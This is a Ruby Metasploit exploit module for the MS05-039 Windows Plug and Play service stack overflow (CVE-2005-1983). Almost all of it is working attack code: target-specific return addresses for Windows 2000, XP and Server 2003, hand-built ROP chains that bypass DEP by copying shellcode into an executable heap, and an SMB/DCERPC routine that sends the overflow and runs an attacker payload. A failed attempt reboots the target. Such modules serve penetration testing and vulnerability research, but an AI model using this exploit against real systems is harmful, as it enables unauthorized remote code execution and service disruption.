ms05_039_pnp.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS05-039 Microsoft Plug and Play Service Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Windows Plug
          and Play service. This vulnerability can be exploited on
          Windows 2000 without a valid user account.

          NOTE: Since the PnP service runs inside the service.exe process, a failed
          exploit attempt will cause the system to automatically reboot.
        },
        'Author' => [ 'hdm', 'cazz' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-1983' ],
          [ 'OSVDB', '18605' ],
          [ 'BID', '14513' ],
          [ 'MSB', 'MS05-039' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm
            {
              'Ret' => 0x767a38f6 # umpnpmgr.dll
            },
          ],
          [
            'Windows 2000 SP4 French',
            {
              'Author' => 'ExaProbe <[email protected]>',
              'Ret' => 0x767438f6
            },
          ],
          [
            'Windows 2000 SP4 Spanish',
            {
              'Ret' => 0x767738f6 # umpnpmgr.dll
            },
          ],
          [
            # Tested on: English/French/German/Dutch/Finnish/Greek/Polish/Portuguese/Hungarian/Korean/Chinese/Arabic/Turkish/Russian
            'Windows 2000 SP4 Universal',
            {
              'Author' => 'Pita Houmous <[email protected]>',
              'Ret' => 0x01013C79
            },
          ],
          [
            'Windows 2000 SP0-SP4 German',
            {
              'Author' => 'Michael Thumann <[email protected]>',
              'Ret' => 0x767338f6
            },
          ],
          [
            'Windows 2000 SP0-SP4 Italian',
            {
              'Author' => 'acaro <[email protected]>',
              'Ret' => 0x7677366f
            },
          ],
          [
            'Windows XP SP1 English',
            {
              'Ret' => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.1106
              'Pipe' => 'ntsvcs',
              'Offset' => 16
            }
          ],
          # NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access
          # the vulnerable functionality.
          [
            'Windows XP SP2 English (Requires Admin)',
            # SafeSEH enabled, DEP AlwaysOn
            {
              # 'Ret'       => 0x41424344,
              'Ret' => 0x758d2bb3, # pop eax / ret 0x8
              'Pipe' => 'ntsvcs',
              'PtrToZero' => 0x758c0170, # PE data of umpnpmgr.dll v5.1.2600.2180
              'Offset' => 72,
              'EspOffset' => 108,
              'RopStack' =>
                # All addresses are from umpnpmgr.dll v5.2.3790.1830
                [
                  #
                  # Step 1. Allocate an executable heap with HeapCreate
                  #
                  # Resolve HeapCreate from import
                  0x758c1148,            # pointer to HeapCreate import
                  0x758c2950,            # mov eax, [eax] / pop ebp / ret 0x8
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  # 0x758da008,            # becomes ebp (something writable)
                  0x758da1c8 - 0xc, # becomes ebp (writable, used later)

                  # Call HeapCreate
                  0x758cb728,            # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  0x01040110,            # flOptions (gets & with 0x40005)
                  0x01010101,
                  0x01010101,
                  0x758ce552,            # becomes edi - pop edi,esi / ret
                  0x758cdd7e,            # becomes esi - pop esi,ebx,ebp / ret 0x4
                  0x41414141,            # becomes ebx
                  0x41414141,            # becomes ebp

                  # Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base
                  0x758d45f3,            # or eax,0x8000 / pop ebp / ret 0x4
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  0x41414141,            # becomes ebp

                  # save eax to ebx
                  0x758ce0d5,            # push eax / call esi
                  0x41414141,            # scratch
                  0x758da008 + 0x18, # becomes ebp

                  # Setup eax to load our saved stack pointer
                  0x758d18db,            # pop eax / ret 0xc
                  0x41414141,            # scratch
                  0x758c524e,            # becomes eax - pop ebp / ret 0x8
                  # 0x758c2423,            # becomes eax - pop esi,ebp / ret 0x8

                  # Store a pointer to the stack to a known address (ebp-0x18), flows to eax after
                  0x758c1281,            # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  # 0xcafebabe,            # becomes esi
                  0x758da008 - 0x10, # becomes ebp

                  # Call lstrcpyW to copy shellcode into executable heap
                  0x758c542e,            # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi
                  0x41414141,            # scratch
                  0x41414141,            # scratch

                  # Skip the junk
                  0x758c96f6, # add al,0x3b / ret

                  # Call the executable segment!
                  0x758c3b62 # call eax
                ]
            }
          ],
          [
            'Windows Server 2003 SP0 English (Requires Admin)',
            # SafeSEH unsupported, DEP unsupported
            {
              'Ret' => 0x780df756, # push esp / ret in msvcp60.dll
              'Pipe' => 'ntsvcs',
              'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll
              'Offset' => 72
            }
          ],
          [
            'Windows Server 2003 SP1 English (Requires Admin)',
            # SafeSEH enabled, DEP AlwaysOn
            {
              'Pipe' => 'ntsvcs',
              # We will need to bypass DEP!
              # 'Ret'       => 0x41424344,
              'Ret' => 0x757873d5, # pop eax / ret 0x4
              'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll
              'Offset' => 72, # offset to saved eip
              'EspOffset' => 108, # Offset to where esp ends up pointing
              'RopStack' =>              # NOTE: 0x41414141 will become random data
                # All addresses are from umpnpmgr.dll v5.2.3790.1830
                [
                  #
                  # Step 1. Allocate an executable heap with HeapCreate
                  #
                  # Resolve HeapCreate from import
                  0x75771144,            # pointer to HeapCreate import
                  0x75772e68,            # mov eax, [eax] / pop ebp / ret
                  0x41414141,            # scratch
                  0x41414141,            # becomes ebp
                  # Call HeapCreate
                  0x7578bc37,            # jmp eax
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  # Save the new heap address in edi
                  0x757791d5,            # xchg eax,edi / cmp bh,0xff / ret 0x10
                  0x01040110,            # flOptions (gets & with 0x40005)
                  0x01010101,
                  0x01010101,

                  #
                  # Step 2. Allocate a buffer using this new heap.
                  #
                  0x757873d5,            # pop eax / ret 0x4
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  # Resolve HeapAlloc from import
                  0x7577115c,            # pointer to HeapAlloc import
                  0x75772e68,            # mov eax, [eax] / pop ebp / ret
                  0x41414141,            # scratch
                  0x41414141,            # becomes ebp
                  # Save the address of HeapAlloc in esi
                  0x75777ae0,            # xchg eax,esi / mov dl,0xff / dec ecx / ret
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  # Call HeapAlloc
                  0x7578bb6b,            # push edi / call esi / pop edi,esi,ebp / ret
                  0xffffffff,            # flags
                  0x00010001,            # allocation size
                  0x0101018d,            # becomes edi / first byte stored
                  0x7577835c,            # becomes esi - pop esi / pop ebx / ret
                  0x757830c3,            # becomes ebp/eip - pop esi / ret

                  #
                  # Step 3. Save the heap address into ebx
                  #
                  0x7578308f,            # push eax / mov [0x7578d8e0],edi / mov [0x7578d39c],edi / call esi
                  0x41414141,            # scratch
                  # Put heap address in edi
                  0x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10

                  #
                  # Step 4. Write stub:
                  #
                  # metasm > lea esi,[esp+4]; _start: lodsb; test al,al; jz _out; stosb; _end: jmp _start; _out:
                  # "\x8d\x74\x24\x04\xac\x84\xc0\x74\x03\xaa\xeb\xf8"
                  #
                  # Store the first byte.
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x01010174,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x01010124,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x01010104,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x010101ac,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x01010184,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x010101c0,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x01010174,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x01010103,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x010101aa,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x010101eb,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch
                  # Store another byte!
                  0x757873d5,            # pop eax / ret 0x4
                  0x010101f8,            # next byte to write
                  0x7578be14,            # stosb / ret
                  0x41414141,            # scratch

                  #
                  # Step 5. Finally, call our executable heap buffer.
                  #
                  0x75783efe # call ebx
                ]
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2005-08-09',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('SMBPIPE', [ true, 'The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)', 'browser']),
      ]
    )
  end

  def pnp_probe(req, pipe = datastore['SMBPIPE'])
    print_status('Connecting to the SMB service...')
    begin
      connect
      smb_login
    rescue ::Exception => e
      print_error("Error: #{e.class} #{e}")
    end

    handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    # CS_DES
    cs_des =
      NDR.long(0) + # CSD_SignatureLength
      NDR.long(0) + # CSD_LegacyDataOffset
      NDR.long(req.length) + # CSD_LegacyDataSize
      NDR.long(0) + # CSD_Flags
      rand_text(16) + # GUID
      req # CSD_LegacyData

    # PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);

    # ResourceName:
    stubdata =
      NDR.UnicodeConformantVaryingString('a\\b\\c') +  # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID
      NDR.long(0xffff) +                               # ResourceID: ResType_ClassSpecific
      NDR.UniConformantArray(cs_des) +                 # Resource (our CS_DES structure)
      NDR.long(cs_des.length) +                        # ResourceLen
      NDR.long(4) +                                    # OutputLen (at least 4)
      NDR.long(0)                                      # Flags

    print_status('Calling the vulnerable function...')

    begin
      dcerpc.call(0x36, stubdata)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
      print_status('Server did not respond, this is expected')
    rescue StandardError => e
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
        print_status('Server disconnected, this is expected')
      else
        raise e
      end
    end

    # Cleanup
    disconnect

    if (!dcerpc.last_response.nil? and !dcerpc.last_response.stub_data.nil? and
        dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
      return true
    else
      return false
    end
  end

  def check
    if (pnp_probe('A'))
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    # If PtrToZero is set, we use saved-ret-overwrite instead of SEH.
    if target['PtrToZero']
      eip_off = target['Offset']
      nul_off = eip_off + 8

      # DEP Bypass version (2003 SP1)
      if target['RopStack']
        esp_off = target['EspOffset']

        # Start with a randomized base buffer
        rop_length = target['RopStack'].length * 4
        print_status('ROP Data is %u bytes' % rop_length)
        buf = rand_text(esp_off + rop_length)

        # Put the rest of the stack data at where esp ends up...
        target['RopStack'].each_with_index do |el, idx|
          if el != 0x41414141
            buf[esp_off + (idx * 4), 4] = [el].pack('V')
          end
        end
      else
        # Start with a randomized base buffer
        buf = rand_text(nul_off)
      end

      # This becomes EIP
      buf[eip_off, 4] = [target.ret].pack('V')

      # Pointer to NULL (4 zero bytes)
      buf[nul_off, 4] = [target['PtrToZero']].pack('V')
    else
      # Pad the string up to reach our SEH frame
      buf = rand_text(target['Offset'] || 56)

      # Jump over the address and our invalid pointer to the payload
      buf << Rex::Arch::X86.jmp_short('$+32')
      buf << rand_text(2)

      # The SEH handler pointer
      buf << [target.ret].pack('V')

      # Some padding to reach the next pointer
      buf << rand_text(20)

      # ResourceName - cause access violation on RtlInitUnicodeString
      buf << rand_text(3) + "\xff"
    end

    # Append the encoded payload and we are good to go!
    buf << payload.encoded

    # Determine which pipe to use
    pipe = target['Pipe'] || datastore['SMBPIPE']

    pnp_probe(buf, pipe)

    print_status('The server should have executed our payload')

    handler
  end
end